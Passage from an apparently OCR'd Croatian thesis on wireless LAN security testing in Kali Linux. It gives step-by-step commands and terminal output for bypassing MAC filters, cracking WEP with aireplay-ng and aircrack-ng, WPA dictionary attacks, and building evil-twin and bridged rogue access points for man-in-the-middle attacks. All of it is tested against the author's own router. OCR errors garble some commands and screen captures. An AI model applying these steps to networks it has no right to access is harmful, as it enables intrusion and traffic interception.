~ IEEE 8082.11 wireless LAN management frame
» Fixed parameters (12 bytes)
~ Tagged parameters (46 bytes)
» Tag: SSID parameter set: wlan
» Tag: Supported Rates 1(B), 2(B), 5.5, 11,
» Tag: DS Parameter set: Current Channel: 1
» Tag: vendor Specific: Microsof: WPA Information Element
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Packets: 3945 - Displayed: 2074 (52.6%) - Dropped: 1922 (48.7%) - Profile: Default

Sl. 4.9. Uhvaceni paketi nakon ponovnog spajanja i prikaz SSID-a

lako je SSID skriven, prilikom svakog pokusaja spajanja korisnika na mrezu izmijeniti ¢e se paketi

sa usmjerivacem koji sadrze informacije o SSID-u pristupne tocke. Kako takvi paketi nisu kodirani
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hvatanjem iz zraka, tj. osluskivanjem se lako dolazi do SSID-a §to znaci da skriveni SSID nije

dovoljno dobra zastita od napada.

Za zastitu se Cesto koriste 1 MAC filteri koji se sastoje od popisa MAC adresa uredaja. Zadac¢a im
je ograniciti pristup svim uredajima koji nemaju na popisu. Pokusa li se spojiti uredaj ¢ija MAC
adresa nije na popisu spajanje nece uspjeti Sto ¢e u Wireshark-u prikazati slanje poruka
neuspjesnog spajanja prema klijentu od strane usmjerivaca. MAC filteri se u Kali-u mogu zaobi¢i
koriStenjem naredbe airodump-ng koja je spomenuta u prethodnom dijelu. Ona ¢e ispisati MAC
adrese svih usmjerivaca u dometu te svih uredaja spojenih na usmjerivace. Kako bi se ograni¢ili
informacijama samo jednog ciljanog usmjeriva¢a moguée je specificirati naredbu na sljedeci
nacéin: airodump-ng -c 1 -a --bssid <MAC> wlanOmon. Na mjestu <MAC> ide MAC adresa
usmjerivaca kojeg se zeli promatrati, -c¢ predstavlja definiranje kanala na kojem uredaj radi, -a
oznacava da se prikazu samo oni uredaji koji su spojeni na odgovaraju¢i usmjeriva¢. Na taj nacin
napada¢ moze saznati MAC adrese koje su dozvoljene za spajanje na ciljani usmjeriva¢. Zatim u
terminalu Kali-a naredbom macchanger moze postaviti MAC adresu svojeg uredaja na adresu
uredaja koji ima pravo pristupa na usmjerivac. To je dokaz kako ni MAC filteri nisu siguran nacin

zastite od napada.

U slucaju postojanja nezastiCene mreze napada¢ se u Kali terminalu moZe spojiti na ciljanu mrezu
jednostavnim upisom SSID-a sljede¢om naredbom: iwconfig wian0 essid <SSID uredaja>. Nema
potrebe za bilo kakvim korisnickim imenom ili lozinkom, nego odmah moZe potvrditi da je

spajanje uspjelo.

Jos jedan nacin za zastitu predstavlja ovjera dijeljenim klju¢em koja koristi dijeljeni tajni kljuc za
ovjeru korisnika. Kada klijent pristupnoj tocki posalje zahtjev za povezivanjem, pristupna tocka
uzvraca sa tekstualnom porukom. Klijent zatim treba tu tekstualnu poruku $ifrirati sa dijeljenim
kljuem i poslati nazad prema pristupnoj tocki koja dekodira poruku kako bi provjerila moze li
do¢i do izvorne poruke. Ako dekodiranje uspije pristupna tocka dozvoljava pristup klijentu, u
suprotnom odbija pristup. Odmah se moze zakljuciti kako napada¢ moze cijelu tu komunikaciju
osluskivati 1 tako do¢i do izvorne poruke kao 1 Sifrirane poruke. Primjenom logicke operacije
»isklju€ivo ili“ — XOR dolazi do klju¢nog niza kojeg moze iskoristiti za kodiranje buducih poruka
slanih od strane pristupne tocke, bez da mu je potreban pravi klju¢. Najces¢i oblik dijeljenog kljuca
je WEP (engl. Wired Equivalent Protocol) koji je lako probiti, a i kreirano je mnogo alata koji

uspjesno probijaju WEP nacin zastite.
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4.3. Nedostatci WLAN enkripcije

Kako se u WLAN mrezi podaci prenose zrakom, najbolji nacin zastite je nekakav oblik enkripcije.
Postoje spomenuti WEP, WPA (engl. Wi-Fi Protected Access) i WPAvV2 (engl. Wi-Fi Protection
Access v2) protokoli za zastitu podataka. U nastavku ¢e biti prikazani nedostaci tih protokola i

nacin njihovog probijanja u Kali-u.

WEP predstavlja sigurnosni algoritam za IEEE 802.11 bezi¢nu mrezu Koji nije izrazito snazan
oblik zaStite, ¢ak ni u vrijeme izdavanja. Ograni¢enja Sjedinjenih Drzava u izvozu razne
kriptografske tehnologije razlog su zbog kojih su proizvodaci ogranic¢avali svoje uredaje na 64-
bitnu enkripciju. Kada su ograni¢enja podignuta enkripcija se dize na 128-bitnu, a unato¢ uvodenju
bitni kljuc koji je ulan€an sa 24-bitnim inicijalizacijskim vektorom kako bi se formirao RC4 kljuc.
Klju¢ se obi¢no unosi kao niz od 10 heksadekadskih znakova gdje svaki znak Cine 4 bita. 10
znakova po 4 bita zajedno sa 24-bitnim vektorom ¢ini trazenih 64 bita WEP kljuca. Za razliku od
toga, 128-bitni kljuc je niz od 26 heksadekadskih znakova.

Nedostatci WEP protokola su poznati ve¢ dugo, ali se ipak koristi 1 dalje te se joS uvijek proizvode
usmjerivaci postavljeni na zastitu WEP protokolom. U Kali-u se WEP moze probiti koristenjem
cijele porodice aircrack-ng naredbi kao $to su npr. do sad poznati airmon-ng, ali i aireplay-ng,
airodump-ng i dr. Glavna slabost WEP protokola je koristenje RC4 algoritma i kratkog
inicijalizacijskog vektora koji se reciklira svakih 224 okvira. RC4 predstavlja simetri¢ni
kriptografski algoritam toka koji kodira ulazne podatke bit po bit, a kodirani tekst rezultat je
logicke operacije XOR izmedu izvornog teksta i pseudo-slucajnih brojeva generiranih na temelju
kljuca. Inicijalizacijski vektor u Kkriptografiji predstavlja ulaznu vrijednost stalne veli¢ine koja
¢esto treba biti slucajna. Kako je broj 224 velik sam po sebi postoji 50% Sanse da ¢e se vektor
ponoviti 4 puta u svakih 5000 paketa. To se moZe iskoristiti generiranjem velikog prometa kako
bi se povecala vjerojatnost pojavljivanja ponovljenih inicijalizacijskih vektora. Na taj nacin

moguce je usporediti dva Sifrirana teksta kodirana istim inicijalizacijskim vektorom i klju¢em.

Kako bi testirali probijanje WEP kljuc¢a potrebno je prvo u postavkama usmjerivaca postavitt WEP
kao oblik zastite. Odabran je 128 bitni WEP klju¢ 1 dodijeljena mu je lozinka:
11111222223333344444555556. Idu¢i korak je u terminalu Kali-a postaviti sucelje za
osluskivanje koje je spomenuto prije u radu. Naredbama ifconfig wlan0 up, i airmon-ng start
wlan0 osigurava se kreiranje sucelja za osluskivanje. Naredbom airodump-ng wlanOmon moze se

vidjeti da je uredaj koji ima SSID ,,wlan* Sifriran WEP-om.
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root@ivan: ~ e ® O
File Edit View Search Terminal Help

CH 1 ][ Elapsed: 0 s ][ 2017-09-08 21:41

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:04:ED:90:EE:D1 -20 100 56 1 0 11 WEP WEP wlan-

BSSID STATION PWR Rate Lost Frames Probe

Sl. 4.10. Prikaz usmjerivaca postavljen na WEP zastitu
Od interesa je dakle samo uredaj ,,wlan* pa ¢e se njegova MAC adresa upisati u idu¢u naredbu s
kojom se ,,write” dijelom dodatno trazi od airodump-ng da rezultate osluskivanja spremi kao

datoteke pod nazivom ,,WEPPokusajProbijanja®. Izraz je sljedeci:
airodump-ng -bssid <MAC_usmjerivaca> --channel 1 --write WEPPokusajProbijanja wlanOmon

Spoji li se sada neki korisnik u mrezu unosom WEP lozinke za spajanje, airmon-ng ¢e primijetiti

aktivnost.

root@ivan: ~ e ® O
File Edit View Search Terminal Help

CH 1 ][ Elapsed: 1 min ][ 2017-09-08 21:44 ][ Broken SKA: 00:04:ED:90:EE:D1

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:04:ED:90:EE:D1 -19 100 1100 186 @ 1 11 WEP WEP SKA wlan-
BSSID STATION PWR  Rate Lost Frames Probe
00:04:ED:90:EE:D1 84:C7:EA:25:69:75 -30 18 -54 68 248

Sl. 4.11. Prikaz nakon spajanja uredaja na usmjerivac

U tom trenutku se kreiraju datoteke ,,WEPPokusajProbijanja-01* sa nastavcima .cap, .CSV,
Kkismet.csv i .kismet.netxml. Svaka od njih ima drugaciji prikaz uhvacéenih informacija, a za daljnju
razradu ¢e se koristiti datoteka sa .cap nastavkom. Na slici 4.11. broj pod stupcem ,#Data“
oznacava broj inicijalizacijskih vektora koji su se do sada poslali. Budu¢i da probijanje WEP-a
zahtijeva velik promet, odnosno veliku koli¢inu podatkovnih paketa kodiranih istim klju¢em,
potrebno je prisiliti mrezu da proizvodi viSe paketa. U Kali-u je to moguée uciniti aireplay-ng
naredbom koja hvata ARP pakete bezi¢ne mreZe i ponovno ih vra¢a u mrezu kako bi se simulirali

ARP odgovori. U novom prozoru terminala koristi se naredba:
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aireplay-ng -3 -b <MAC usmjerivaca> -h <MAC spojenog_uredaja> wlanOmon,

gdje -3 oznac¢ava ARP odgovore, -b je BSSID ciljane mreZze, a -h predstavlja MAC adresu klijenta

kojeg se osluskuje.

File Edit View Search Terminal
:~# aireplay-ng -3 -b 00:04:ED:90:EE:D1 -h 84:C7:EA:25:69:75 wlanOmon

root@ivan: ~

Help

@ © 0

The interface MAC (CO:CB:38:3E:F4:2F) doesn't match the specified MAC (-h).
ifconfig wlanOmon hw ether 84:C7:EA:25:69:75
21:52:02 Waiting for beacon frame (BSSID: 00:04:ED:90:EE:D1) on channel 1

Saving ARP requests in replay arp-0908-215202.cap

You should also start airodump-ng to capture replies.
820 ACKs), sent 347 packets... (499 pp
398 packets...
448 packets...
497 packets...
548 packets...
597 packets...
648 packets...
698 packets...
748 packets...
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ACKs) ,
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797 packets...
847 packets...
898 packets...
948 packets...
998 packets.
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.. (499

p
p
p
p
p
p
p
p

1048 packets... (499
1098 packets... (499
1148 packets... (499

Sl. 4.12. Popunjavanje mreze paketima naredbom aireplay-ng

Od ovog trenutka airmon-ng pocinje prikazivati velik broj paketa, a svi oni se spremaju u kreirane

datoteke koje su nazvane ,,WEPPokusajProbijanja®“. Sada se moZe zapoceti sa stvarnim pokusajem

probijanja. U novom prozoru terminala koristi se naredba:

aircrack-ng WEPPokusajProbijanja-01.cap,

Sto ¢e zapoceti postupak probijanja WEP lozinke koristec¢i podatkovne pakete iz kreirane datoteke.
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root@ivan: ~ @ ® 0
File Edit View Search Terminal Help

Aircrack-ng 1.2 rc4

[00:00:04] Tested 150633 keys (got 2571 IVs)

depth  byte(vote)
13/ 14 EE(4096) 46(3840) AA(3840) AC(3840) B2(3840)
37/ 1 EE(3584) 05(3328) 09(3328) 0B(3328) 0D(3328)
40/ 2 ED(3584) 06(3328) 1C(3328) 26(3328) 28(3328)
12/ 41 (C8(4096) 18(3840) 1B(3840) 55(3840) 8E(3840)
4/ 18 82(4352) 02(4096) 90(4096) 99(4096) AC(4096)

Next try with 5000 IVs.

Sl. 4.13 Prvi pokusaj probijanja WEP lozinke

Airodump-ng kupi WEP pakete, aireplay-ng ponavlja slanje paketa, a aircrack-ng pokusava

probiti WEP na osnovu uhvacéenih paketa. Rade u isto vrijeme u odvojenim prozorima terminala:

Applications v Places v [ Terminal v Fri 22:15

File Edit View Search Terminal Help
CH 1 ][ Elapsed: 32 mins ][ 2017-09-08 22:15 ][ Broken SKA: 00:04:ED:90:EE:D1

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

Kali Li
g 00:04:ED:90:EE:D1 -22 160 13991 5221 56 1 11 WEP WEP  SKA wlan-

BSSID STATION Rate Lost Frames Probe

12 - 1 41551 2008660
: 90:EE: 2 01 - 18 - 0 25518
00:04:ED:90:EE:D1 20:47:47:79:08:01 - 18 - 0 0 26540
Edit View Searcl
1122464 packet:
1122808 packet: File Edit View Search Terminal Help
1123111 packet:
1123423 packet: Aircrack-ng 1.2 rc4
1123716 packet:
1124037 packet:
1124351 packet: [00:18:49] Tested 160913 keys (got 5161 IVs)
1124641 packet:
1124930 packet: byte(vote)
1125242 packet: EE(6912) 03(6656) 2F(6656) 33(6656) 36(6656)
1125547 packet: E1(6912) 0D(6656) 30(6656) 41(6656) 5C(6656)
1125852 packet: F4(6656) 02(6400) 05(6400) OA(6400) 26(6400)
1126164 packets (got 51/39 ARP requests and /59622 A(Ks), sent EB(7168) 1B(6912) 1C(6912) 60(6912) 8A(6912)
1126480 packets (got 51764 ARP requests 759762 ACKs), sent 81(7680) 48(7424) B2(7424) B4(7424) F4(7424)
1126811 packets (got 51798 ARP requests 759907 ACKs), sent
1127138 packets (got 51833 ARP requests 760041 ACKs), sent
1127443 packets (got 51858 ARP requests 760209 ACKs), sent
1127761 packets (got 51888 ARP requests 760332 ACKs), sent
1128046 packets (got 51915 ARP requests 760488 ACKs), sent
1128345 packets (got 51948 ARP requests 760646 ACKs), sent
1128672 packets (got 51977 ARP requests 760782 ACKs), sent
1128973 packets (got 52005 ARP requests 760935 ACKs), sent
] acke 036 _ARP =] = 3 o) ALK en

root@ivan: ~

Sl. 4.14. Rad svih alata zajedno

Postupak obrade paketa aircrack-ng alata prikazan je naslici 4.13. U vrlo kratkom roku obradi sve
do sad dostupne inicijalizacijske vektore, a u sluaju neuspjeha se zaustavlja i ¢eka hvatanje vise
paketa. Ponovni pokuSaj zapocinje nakon svakih 5000 uhvacenih vektora.
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Trajanje postupka probijanja ovisi o brzini mreze, te se nakon uspjeha u terminalu ispisuje jasna
poruka o pronalasku klju¢a uz ispis njegovog izgleda. U vlastitom pokusaju testiranje je trajalo 52
minute i 37 sekundi, a uspjelo je nakon 44430 uhvacenih inicijalizacijskih vektora i ispisana je
lozinka 11:11:12:22:22:33:33:34:44:45:55:55:56 koja je i1 postavljena u postavkama usmjerivaca

prije testiranja. Koliko god klju¢ bio slozen, navedenim postupkom uvijek ¢e biti probijen.

root@ivan: ~ @ ® 0
File Edit View Search Terminal Help

[00:52:37] Tested 87383 keys (got 44430 IVs)

byte(vote)
11(57088)
11(57344)
12(58368)
6C(56320)

2F(52224) CE(52224) 36(51712) 8B(51712)
6D(54272) 9E(53504) AB(53504) 1D(52480)
38(54784) 8F(53248) CC(52480) DE(51712)
56(55040) 84(53760) 21(52992) BF(52480)
22(55808) C2(53504) 6C(51968) FD(51968) 40(51712)
33(62976) 1D(53248) 25(52992) 82(52480) 89(52480)
33(57600) 4A(55040) DD(53248) 6F(52480) 9F(52224)
34(59136) 71(56576) 08(56064) 60(52736) 1F(52224)
44(58880) EA(54016) F2(52224) 61(51968) 76(51968)
44(59904) 1A(52480) 74(52224) B9(52224) B5(51968)
E4(53760) D4(53248) EF(52992) 7D(52480) F5(52224)
6F(51712) 8B(51456) EE(51200) CA(50944) 91(50432)
56(56576) D3(53504) FO(52736) E2(52224) 53(51968)

Loo~NOUBEWNE=OD

1
1
1
2
1
1
1
1
1
1
1
1
1

KEY FOUND! [ 11:11:12:22:22:33:33:34:44:44:55:55:56 ]
Decrypted correctly: 100%

Sl. 4.15. Prikaz uspjes$no provedenog napada

WPA je bio izravan odgovor na sve ranjivosti WEP protokola, a time i njegova zamjena. Koristi
256-bitni kljug, te uvodi provjeru integriteta poruka kako bi se utvrdilo je li napada¢ uhvatio ili
izmijenio pakete koji su prosli izmedu pristupne tocke i klijenta. Uvodi se i TKIP (engl. Temporal
Key Integrity Protocol) koji koristi sustav kljuca po paketu, §to se pokazalo znatno sigurnijim od
fiksnog kljuca koji koristi WEP. TKIP kasnije zamjenjuje mnogo snazniji AES (engl. Advanced
Encryption Standard). Unato¢ tome §to je znacajno poboljSanje u odnosu na WEP dokazane su
osjetljivosti na upad. TKIP je dizajniran tako da nadogradnjom reciklira odredene elemente koji
se koriste u WEP sustavima, a oni se mogu iskoristiti za probijanje klju¢a. Cest napad na WPA je
preko WPS-a (engl. Wi-Fi Protected Setup) koji omoguéava jednostavno povezivanje uredaja na

suvremene pristupne tocke.

Za razliku od WPA, WPA2 zahtijeva obavezno koriStenje AES algoritma, a predstavljen je 1
CCMP (engl. Counter Cipher Mode Protocol) kao zamjena za TKIP. Medutim, TKIP se i dalje
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koristi u WPA2 enkripciji kao sustav za suradnju sa WPA-om. Trenutna sigurnosna ranjivost
WPA2 zahtijeva da je napada¢ spojen na bezicnu mrezu kako bi dobio pristup odredenim
kljucevima i1 bio u moguénosti provesti napad nad drugim uredajima u mrezi. Prema tome se moze
zakljuciti kako je ranjivost unutar kuéne mreZze gotovo nepostojana. Medutim, ostaje jednaka
ranjivost kao i za WPA preko WPS-a. Probijanje zahtijeva od 2 do 14 sati neprekidnog napora
modernog racunala pa je preporuka onemoguciti WPS 1 nadograditi uredaj na takav nacin da ga

uopce ne podrzava Sto ¢e u potpunosti ukloniti moguénost napada.

U Kali-u je test probijanja slican kao i za WEP, jedina je razlika u tome §to su WPA/WPA2 PSK
ranjivi na napade uz pomoc¢ rjec¢nika. Ulazne vrijednosti koje su potrebne za napad su ¢etverostruko
rukovanje izmedu pristupne tocke i klijenta i popis Cestih lozinki. WPA/WPA2 PSK po sjednici
izvlace klju¢ PTK (engl. Pairwise Transient Key) koriste¢i PSK i dodatnih pet parametara: SSID
mreze, ANounce, SNounce, MAC adresu pristupne tocke i MAC adresu klijenta. Taj se kljuc
potom Koristi za kodiranje svih podataka izmedu pristupne tocke i klijenta [4]. Napada¢ koji
osluskuje cijelu komunikaciju hvatanjem paketa iz zraka moZze do¢i do svih pet parametara. Jedina

stvar koja mu nedostaje je PSK.

Postupak testiranja napada sli¢an je kao i za WEP. Postavlja se sucelje za osluskivanje i ¢eka se
prijava korisnika na mrezu. Kako bi se ubrzao postupak moguce je prisilno odjaviti sve korisnike
te izazvati njihovo ponovno spajanje deautentikacijskim porukama $to je ve¢ prikazano prije u
radu. Kada dode do prijave airodump-ng ¢e uhvatiti i prikazati postojanje rukovanja (engl.
Handshake). Za pokusaj probijanja moguce je koristiti popise Cestih lozinki sa Kali-a, ali treba
imati na umu kako postoji moguénost da to nece biti dovoljno za uspjeh. U aircrack-ng naredbi se
poziva datoteka koja je spremala uhvacene pakete uz poziv na datoteku koja sadrzi popis lozinki
koja, ovisno o jaini, moze biti veli¢ine i do jednog TB. Lozinke korisnika ovise 0 mnogo
¢imbenika, a neki od njih su drzava u kojoj Zive, Cesta imena i fraze vezane za to podrucje,
sigurnosna shvacanja i slicno. Potrebno je prema tome koristiti popise koji su odgovarajuci, a
trazena lozinka mora biti unutar popisa. Iz toga se moze zakljuciti da je uspjeh probijanja ovisan
od jacine popisa lozinki koji se pri probijanju koristi. Za razliku od WEP-a koji se moze probiti
uvijek, WPA/WPA2 PSK se smatraju, kriptografski gledano, neprobojnim. Jedini nacin je u

slucaju slabe lozinke kada napad moze uspjeti koriStenjem popisa Cestih lozinki.

4.4. Napadi na WLAN infrastrukturu

WLAN infrastruktura pruza beZi¢ne usluge svim korisnicima WLAN mreZe u nekom sustavu i

postoje razli¢iti nacini napada na nju. Jedna od Cestih mjesta napada su korisnicko ime i lozinka
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samog usmjerivaca, odnosno pristupne tocke. Pristupna tocka predstavlja osnovni element
infrastrukture. Usprkos tome cCesto se zanemari vaznost promjene uobiCajenih postavki.
Korisni¢ko ime i lozinka spajanja za ulaz u postavke usmjerivaca mogu se pronaci na stranicama
proizvodaca uredaja pa je preporuka promijeniti ih kako se ne bi izgubila potpuna kontrola nad

uredajem.

Jo§ jedan oblika napada je uskradivanje usluga spomenut prije u radu. Slanjem poruka
deautentikacijskih poruka prisiljavaju se korisnici na odjavu i tako spre¢ava njihov pristup mrezi.
Moguce je jednostavno nastaviti uskraéivati uslugu korisnicima, ili iskoristiti ponovnu prijavu za

druge oblike napada.

Najmo¢nijim napadom na infrastrukturu smatra se stvaranje kopije pristupne tocke. Rije¢ je o
stvaranju pristupne toc¢ke u blizini ciljane WLAN mreZe koja je upravljanja od strane napadaca.
Ta pristupna tocka ¢e se predstavljati istim SSID-em kao i pravi ovlasteni uredaj. Ovakav oblik
napada provodi se u blizini ciljane mreze kako bi se korisnici zabunom spojili na zlonamjernu
to¢ku smatrajuci da je dio ovlastene mreze. Za stvaranje dodatne zbunjenosti i uspjeha napada,
zlonamjerna se pristupna tocka postavi sa jednakom MAC adresom kao i prava. Kada se uspostavi
komunikacija napada¢ moze provoditi razne oblike napada, a istovremeno slati podatke dok

osluskuje cijelu komunikaciju.

Prvi korak u stvaranju zlonamjerne pristupne toc¢ke je naredbom airodump-ng provijeriti BSSID i

ESSID mreZe koja je cilj napada.

root@ivan: ~ @ ® 0
File Edit View Search Terminal Help

CH 1 1[ Elapsed: 12 s ][ 2017-09-09 23:30
BSSID PWR RXQ Beacons #Data, #/s ENC CIPHER AUTH ESSID

00:04:ED:90:EE: -20 100 174 WPA TKIP PSK wlan
F4:F2:6D:B3:8E: -68 100 174 . WPA2 CCMP  PSK Tlucic
C8:3A:35:4A:74: -81 70 127 WPA CCMP  PSK Stamenk
C4:04:15:4C:D1: -86 55 119 WPA2 CCMP  PSK ZyXEL 4

C8:3A:35:10:92: -88 0 P WPA CCMP  PSK Petrovi
C8:3A:35:09:4D: -89 7 4 WPA CCMP  PSK MIRKO

BSSID STATION PWR Rate Frames Probe
00:04:ED:90:EE: 84:C7:EA:25:69:75 -42 0 -54

00:04:ED:90:EE: DO:5B:A8:C7:40:60 -57 0 -12
C8:3A:35:4A:74: 34:23:BA:6F:35:4D -1 9e- 0

Sl. 4.16. Sve uhvacene mreze naredbom airodump-ng
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Ceka se prijava korisnika pa je dobivene informacije moguée iskoristiti za stvaranje nove pristupne
toc¢ke u terminalu Kali-a naredbom airbase-ng sto ¢e stvoriti pristupnu tocku sa istim ESSID-em,
ali drugom MAC adresom. Naredba je sljedec¢a: airbase-ng --essid <neko_ime> -c 1 wlanOmon.

Ponovnim upisom airodump-ng naredbe na popisu ¢e biti i nova zlonamjerna pristupna tocka.

!(1(1((@'“’4”1 » =

File Edit View Search Terminal Help

CH 1 ][ Elapsed: 2 mins ][ 2017-09-09 23:32
PWR RXQ Beacons #Data, #/s ENC CIPHER AUTH ESSID

0 100 548 0 OPN lazniAP
-19 100 1575 35 WPA TKIP PSK wlan
-67 100 1572 186 . WPA2 CCMP  PSK lucic
-80 59 1107 13 WPA CCMP  PSK Stamenk
-85 50 881 0 WPA2 CCMP  PSK ZyXEL 4
-89 0 65 4 WPA CCMP  PSK Petrovi
-88 0 11 0 WPA CCMP  PSK MIRKO

STATION Frames Probe

0
)
)
)
0
0
3
0

root@ivan: ~

File Edit View Search Terminal Help,,d_—______\

:~# airbase-ng --essid'lazniAP -c 1 wlanOmon
23:32:17 Created tap interface ato
23:32:17 Trying to set MTU on at@ to 1500
23:32:17 Trying to set MTU on wlan®@mon to 1800
23:32:17 Access Point with BSSID CO:CB:38:3E:F4:2F started.

Sl. 4.17. Prikaz kreirane lazne pristupne tocke

Iduc¢i korak je prisiliti korisnika na odjavu. Ubrzo ¢e krenuti ponovna prijava korisnika, medutim
zlonamjerna pristupna tocka ima jaci signal pa ¢e se izvrSit prijava na nju. Kako bi postavili jednak
SSID i jednaku MAC adresu na zlonamjernu pristupnu tocku, potrebno je u izrazu naredbe dodati

odredene parametre:
Airbase-ng -a <MAC usmjerivaca> --essid ,, <SSID_mreze>* -c 1 wlanOmon.

Sada ni airodump-ng ne moze razlikovati da se radi o dvije razli¢ite fizicke pristupne tocke $to je

najjaci oblik ovakvog napada.
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root@ivan: ~ = (@)

File Edit View Search Terminal Help

CH 1 ][ Elapsed: 4 mins ][ 2017-09-09 23:38
BSSID PWR RXQ Beacons #Data, #/s ENC CIPHER AUTH ESSID

00:04:ED:90:EE: 0 100 3881 39 WPA TKIP PSK (wlan
F4:F2:6D:B3:8E: -68 100 2420 200 WPA2 CCMP  PSK lucic
C8:3A: 174 -81 66 1795 99 WPA CCMP PSK Stamenk
C4:04:15:4C:D1: -82 63 1644 0 WPA2 CCMP  PSK ZyXEL 4
C8:3A:35:10:92: -88 0 68 4 WPA CCMP  PSK Petrovi
C8:3A:35:09:4D: -89 0 13 0 WPA CCMP  PSK MIRKO

BSSID STATION Frames Probe
00:04:ED:90:EE: 84:C7:EA:25:69:75 - 46
C8:3A:35:4A:74: 34:23:BA:6F:35:4D - - 98

C8:3A:35:4A:74: E0:99:71:0A:54:9A
C8:3A:35:4A:74: 10:9B:07:63:49:E6

root@ivan: ~

File Edit View Search Terminal Help .
:~# airbase-ng -a 00:04:ED:90:EE:D1 --essid'"wlan" '-c 1 wlanOmon
23:38:32 C(Created tap interface at®
23:38:32 Trying to set MTU on at@ to 1500
23:38:32 Access Point with BSSID 00:04:ED:90:EE:D1 started.

Sl. 4.18. Lazna pristupna tocka sa istom MAC adresom

Jo§ jedan oblik napada predstavlja stvaranje neovlaStene pristupne to¢ke koja je spojena na
ovlastenu mrezu. Obi¢no se koristi kako bi napadaci imali ponovan ulaz u ugrozeni sustav
zaobilaze¢i sve sigurnosne kontrole. Postavlja se na nacin rada bez zastite i enkripcije, a prema [4]

se takva vrsta pristupne tocke moZe stvoriti na jedan od sljede¢ih nacina:

- Instaliranjem stvarnog fizickog uredaja na ovlaStenu mreZu kao zla pristupna tocka
- Stvaranje zle pristupne toc¢ke u softveru i premos$éivanje sa ovlastenom Ethernet mrezom,
Sto zapravo dozvoljava svakom racunalu, koje je spojeno na ovlastenu mrezu, moguénost

rada kao zla pristupna tocka.

Stvaranje zle pristupne tocke zapocinje stvaranjem pristupne to¢ke sa nekim imenom naredbom
airebase-ng --essid <neko_ime> -c 1 wlanOmon. Nakon toga potrebno je postaviti most Ethernet
sucelja prema ovlastenoj mrezi. Za to je potrebno instalirati bridge-utils datoteke i nazvati sucelje

nekim imenom. Naredbe su: apt-get install bridge-utills i brctl addbr <neko_ime>.
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root@ivan: ~ @ ® O

File Edit View Search Terminal Help
:~# apt-get install bridge-utils
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following NEW packages will be installed:
bridge-utils
0 upgraded, 1 newly installed, 0 to remove and 1389 not upgraded.
Need to get 34.2 kB of archives.
After this operation, 101 kB of additional disk space will be used.
Get:1 http://archive-3.kali.org/kali kali-rolling/main amd64 bridge-utils amd64
1.5-14 [34.2 kB]
Fetched 34.2 kB in 1s (17.4 kB/s)
Selecting previously unselected package bridge-utils.
(Reading database ... 306019 files and directories currently installed.)
Preparing to unpack .../bridge-utils 1.5-14 amd64.deb .
Unpacking bridge-utils (1.5-14) .
Setting up bridge-utils (1.5-14) ...
Processing triggers for man-db (2.7.6.1-2)
:~# brctl addbr Wifi-Bridge
:~#|:|

SL. 4.19. Prikaz instalacije bridge-utils sucelja

Iduci korak je postavka sucelja brctl addif <neko_ime> ethO i brctl addif <neko_ime> at0, te

podizanje istih ifconfig eth0 0.0.0.0 up i ifconfig at0 0.0.0.0 up. Na kraju je jo$ potrebno osigurati

prosljedivanje IP paketa: echo 1 > /proc/sys/net/ipv4/ip_forward. Nakon toga kreirana je zla

pristupna tocka sa koje ¢e svaki spojeni korisnik imati potpuni pristup ovlaStenoj mrezi

zahvaljujuéi kreiranom mostu §to se koristi za provodenje jednih od naprednih napada odnosno,

napad Covjek u sredini (engl. Man in the Middle Attack).
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root@ivan: ~ @ ® 0

File Edit View Search Terminal Help

:~# ifconfig at@
at0: flags=4098<BROADCAST,MULTICAST> mtu 1500
ether cO:cbh:38:3e:T4:2f txqueuelen 1000 (Ethernet)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped © overruns 0 frame 0
TX packets @ bytes 0 (0.0 B)
TX errors @ dropped @ overruns @ carrier @ collisions @

brctl addbr MITM-bridge
brctl addif MITM-bridge eth®
brctl addif MITM-bridge at®
ifconfig etho 0.0.0.0 up

ifconfig at0 0.0.0.0 up

$ b SR R M HE B 3 3 9
—

echo 1 > /proc/sys/net/ipv4/ip forward

Sl. 4.20. Stvaranje i podeSavanje mosta za upravljanje zlom pristupnom tockom

wlan:
Veza uspostavljena, sigurna

MITM
Otvorena

dslon
Otvorena

lucic
Sigurna

MIRKO
Sigurna

ZyXEL_ACO4_EXT
Sigurna

MENEE
e, primjerice ogranicite vezu.

b ¢
Nacin rada u Mobilna
zrakoplovu pristupna

Sl. 4.21. Prikaz pronadene zle pristupne tocke
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4.5. Napadanje klijenta

Kao $to postoje napadi na infrastrukturu WLAN mreze, tako postoje i napadi na samog klijenta.
Zbog teskog prijevoda na hrvatski jezik koristeni su engleski izrazi za ove napade, a napadi na
klijenta sli¢ni su do sada opisanim napadima. Jedan od napada na klijenta zove se Honeypot and
Mis-Association napad, odnosno napad prilikom kojeg se vrsi slu¢ajno spajanje na pristupnu tocku
koju je stvorio napada¢. Temelji se na ¢injenici da uredaji prilikom ukljuivanja traze prisutnost

mreza na koje su do sada bili spojeni. Napada¢ ima nekoliko opcija kako pristupiti napadu:

- Moze osluskivati uredaje i stvoriti laznu pristupnu tocku sa istim imenom koju klijent trazi,
Sto ¢e uzrokovati njegovo spajanje na napadacev uredaj umjesto na ovlastenu mrezu

- Moze stvoriti pristupnu tocku sa istim imenom kao susjedne mreze kako bi uvjerio
korisnika u spajanje na njegov uredaj. Takvi se napadi lako provode na javnim mjestima
gdje se klijenti pokuSavaju spojiti na bilo kakvu bezi¢nu mrezu

- Moze koristiti informacije kako bi nau¢io ponasanje i kretanje mete.

Postupak provodenja Honeypot napada zapravo se temelji na stvaranju zlonamjerne pristupne
tocke. Osluskivanjem se dobiju potrebne informacije za napad, stvori se istoimena pristupna tocka
kako bi trag bio teze uocljiv, vrsi se prisilna odjava korisnika sa mreze te pri ponovnoj uspostavi

konekcije korisnik se spaja na zlonamjernu pristupnu tocku.

Jos$ jedan napad na klijenta je Caffe Latte napad koji vrsi probijanje WEP kljuca. Honeypot napad
kod WEP kljuca nece uspjeti iz razloga §to operacijski sustav Windows spremi WEP klju¢ kada
se korisnik spoji na mrezu. Iduéi puta kada se korisnik spaja na istu mrezu, Windows-ov upravitelj
bezi¢nih postavki automatski iskoriStava spremljeni klju¢. Prema tome Caffe Latte napad
omogucava napadacu spoznaju WEP kljuca ovjerene mreze koriStenjem samo klijenta. Napad ne
zahtijeva spojenost klijenta na mrezu, probiti ¢e WEP uspjes$no i sa izoliranim klijentom. Postupak
